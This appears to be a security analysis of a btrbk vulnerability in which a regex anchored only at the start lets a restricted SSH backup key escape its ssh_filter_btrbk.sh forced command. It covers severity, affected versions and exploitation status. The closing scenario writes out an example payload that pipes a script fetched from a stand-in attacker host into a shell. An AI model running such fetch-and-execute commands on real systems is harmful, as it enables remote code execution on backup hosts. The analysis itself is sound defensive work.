btrbk CVE-2026-62943

Exploitation requires that the deployment uses ssh_filter_btrbk.sh as an authorized_keys forced command on the backup-target SSH account, and that the attacker already controls a key subject to that restriction (PR:L) - the whole vulnerability is an escape from that specific restriction. Deployments that do NOT use ssh_filter_btrbk.sh in authorized_keys are explicitly not affected. Affected versions are 0.29.0 through 0.32.6 (fixed in 0.32.7). No user interaction is needed and no non-default toggle beyond the presence of the ssh_filter forced command; the limiting factor is that this is a restricted-peer-to-host trust escape, not an unauthenticated network attack.

This is a genuine but access-gated authorization-bypass leading to command execution. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H = 8.7) is well-calibrated and I agree with it: it correctly encodes PR:L, because exploitation is only possible for a principal who ALREADY holds an authorized SSH key whose forced command is ssh_filter_btrbk.sh. This is not a pre-auth internet-facing RCE - it is a privilege/trust-boundary escape available to an already-authorized, deliberately-restricted backup peer. The source diff confirms the root cause unambiguously: allow_stream_match was anchored with '^' but not with a terminating '$', so a valid btrbk command prefix could be followed by an attacker-appended '| arbitrary_command'. EPSS, CISA KEV, and public POC status are all absent from the input - no public exploit is identified at time of analysis, and there is no evidence of active exploitation. However, the fix is a one-character anchor change and the vulnerable pattern is trivially reasoned about from the public commit, so exploit development difficulty is low for anyone who reads the advisory. Net: not a mass-exploitation emergency (no KEV, no EPSS signal, narrow deployment, requires an existing restricted key), but a high-severity patch-promptly issue for the specific population that relies on ssh_filter_btrbk.sh as a security boundary - for them the allowlist they trust is bypassable.

An organization gives a backup host a restricted SSH key on the storage target, using ssh_filter_btrbk.sh as a forced command so that peer can only run btrbk backup operations. A malicious or compromised backup host sends a command consisting of a legitimate btrbk prefix followed by a trailing pipe, e.g. a valid stream command plus '| id; curl attacker/x | sh', which passes the start-anchored allowlist and executes as the backup-target SSH account. No public POC is identified in the provided data, but the fix commit publicly discloses the exact missing-anchor flaw.